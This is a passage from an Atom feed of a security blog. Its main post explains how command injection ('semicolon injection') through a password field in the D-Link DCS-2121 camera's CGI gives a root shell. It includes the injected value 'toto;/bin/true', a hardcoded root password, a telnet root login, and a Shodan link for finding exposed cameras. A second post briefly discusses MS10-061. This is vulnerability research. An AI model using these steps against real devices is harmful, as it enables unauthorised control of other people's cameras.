/&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# get current setting from tdb&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# format looks like VariableName_type&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;onGetSetting() {&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;result=""&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# make sure, ...&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# 1. $result is set&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# 2. variables in dumpXml are all set&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;onUpdateSetting() {&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;result="ok"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if [ "$command" = "on" ]; then&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/usr/sbin/telnetd 1&amp;gt;/dev/null 2&amp;gt;/dev/null&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;killall telnetd 1&amp;gt;/dev/null 2&amp;gt;/dev/null&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;fi&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;onDumpXml() {&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;xmlBegin index.xsl home-left.lang index.lang&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;resultTag $result&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;xmlEnd&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;scenario=$(basename $0 | cut -d'.' -f1)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;. ../../xmlFunctions.sh&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;. ../../cgiMain.sh&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;However we are going to focus on a very specific bug: "semicolon injection". In my experience, this bug plagues all and every Linux-based embedded devices, ranging from the &lt;a href="http://www.agp.dsl.pipex.com/telnet_server.html"&gt;OrangeBox&lt;/a&gt;&amp;nbsp;(now dead link) to &lt;a href="http://www.h-online.com/open/news/item/Root-vulnerability-in-DD-WRT-free-router-firmware-742605.html"&gt;DD-WRT&lt;/a&gt;.&amp;nbsp;Let's look for compiled CGI that might be calling system().&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;var/www/cgi/admin$ fgrep system *&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file adv_audiovideo.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file adv_godev.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file adv_sdcard.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file calibration.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file export.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file go_sleep.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file import.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file netWizard.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file pt8051_settings.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file pt_settings.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file reboot.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file recorder_status.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file recorder_test.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file reset.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file rs485_control.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file tools_admin.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file tools_system.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Binary file wireless_ate.cgi matches&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Let's focus on those files, and look for possibly unsecure calls.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ strings -f * | grep "%s"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;adv_godev.cgi: TinyDBError %s&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;adv_sdcard.cgi: rm -rf "%s"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;adv_sdcard.cgi: %s/video&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;adv_sdcard.cgi: mkdir -m 0777 &amp;nbsp;%s/video&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;adv_sdcard.cgi: find "%s" -type f -name "*" |wc -l&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;pt_settings.cgi: TinyDBError %s&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;recorder_test.cgi: TinyDBError %s&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;recorder_test.cgi: umount %s&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;recorder_test.cgi: mkdir -p %s&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;recorder_test.cgi: smbmount //%s/%s %s -o username=%s,password=%s&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;recorder_test.cgi: touch %s&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;rs485_control.cgi: TinyDBError %s&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;rs485_control.cgi: RS485PresetControl::%s(), unexpected command&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So … "recorder_test.cgi" potentially calls &lt;b&gt;system("smbmount //%s/%s %s -o username=%s,password=%s")&lt;/b&gt; … Let's see if "password" parameter is properly escaped.&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://newsoft.dyndns.org/tech/DCS_false.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="http://newsoft.dyndns.org/tech/DCS_false.png" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Try #1 with password "toto". Command result is "mntFailure".&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://newsoft.dyndns.org/tech/DCS_true.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="http://newsoft.dyndns.org/tech/DCS_true.png" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Try #2 with password "toto;/bin/true". Command result is "ok" :)&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;It is now time to start that "/usr/sbin/telnetd"&amp;nbsp;server :) But wait ... what is "root" password ?&lt;br /&gt;&lt;br /&gt;"/etc/passwd" and "/etc/shadow" are symbolic links to "/tmp/passwd" and "/tmp/shadow". Those files are created at boot time by "/etc/rc.d/rc.local" script.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;(...)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;start() {&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;touch /tmp/group /tmp/passwd /tmp/shadow&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;echo 'root:x:0:' &amp;gt; /etc/group&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;echo 'root:x:0:0:Linux User,,,:/:/bin/sh' &amp;gt; /etc/passwd&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' &amp;gt; /etc/shadow&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;#telnetd &amp;gt; /dev/null 2&amp;gt; /dev/null&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;/bin/agent &amp;amp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;#/sbin/syslogd&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;addlog System is booted up.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;echo "rc.local start ok."&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;(...)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So ... "root" password is hardcoded to "admin". How cool is that ? ;)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ telnet 192.168.0.117 23&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;DCS-2121 login: root&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Password: admin&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;BusyBox v1.01 (2009.07.27-09:19+0000) Built-in shell (ash)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Enter 'help' for a list of built-in commands.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;~ # uname -a&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;uname -a&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Linux DCS-2121 2.4.19-pl1029 #1 Mon Jul 27 17:21:05 CST 2009 armv4l unknown&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As often with Linux-based embedded firmwares, a trivial "semicolon injection" bug can be found with no reverse-engineering - grep is the only tool you need to reproduce this case at home.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Disclaimer (for not-so-funny people): yes this is "0day", unreported to the vendor. I even suspect the whole D-Link product line is vulnerable to the same bug (if not the whole world of low-end embedded systems (and even business class products)). However, since Web access requires authentication, this bug might be exploitable by administrators only, so it is only useful for people who would like to gain a shell on their own systems. Do not panic :)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Bonus: &lt;a href="http://www.shodanhq.com/?q=dcs-lig-httpd"&gt;how to find D-Link cameras on the Internet&lt;/a&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-2847452806935009669?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/2847452806935009669/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=2847452806935009669' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/2847452806935009669'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/2847452806935009669'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2010/09/d-link-dcs-2121-and-state-of-embedded.html' title='D-Link DCS-2121 and the state of embedded security'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-7304538932767381632</id><published>2010-09-17T21:30:00.002+01:00</published><updated>2010-09-17T21:30:01.110+01:00</updated><title type='text'>MS10-061: "this is not the 0day you are looking for"</title><content type='html'>As usual, &lt;a href="http://www.microsoft.com/technet/security/bulletin/ms10-sep.mspx"&gt;Microsoft Patch Tuesday&lt;/a&gt; has been interesting this month.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx"&gt;MS10-061&lt;/a&gt; flaw strikes the Spooler service, and seems to have been exploited by the infamous&amp;nbsp;&lt;a href="http://www.symantec.com/connect/de/blogs/stuxnet-introduces-first-known-rootkit-scada-devices"&gt;StuxNet worm&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;So, has it been "0day" (as many people tend to believe - like&amp;nbsp;&lt;a href="http://expertmiami.blogspot.com/2010/09/stuxnet-et-ses-quatre-0days.html"&gt;Kostya&lt;/a&gt;) ? (no offense man ;)&lt;br /&gt;&lt;br /&gt;I let you read that press article from &lt;a href="http://hakin9.org/"&gt;Hakin9&lt;/a&gt; magazine, issue n°4/2009 - you can &lt;a href="http://newsoft.dyndns.org/tech/PrintYourShell.pdf"&gt;start reading at the bottom of page #29&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PS. For those of you who can read French, this article has also been quoted at the end of my "&lt;a href="http://news0ft.blogspot.com/2009/07/lechec-de-la-securite-francaise.html"&gt;most viewed&lt;/a&gt;&amp;nbsp;(and commented)" blog post. Hidden gem :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-7304538932767381632?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 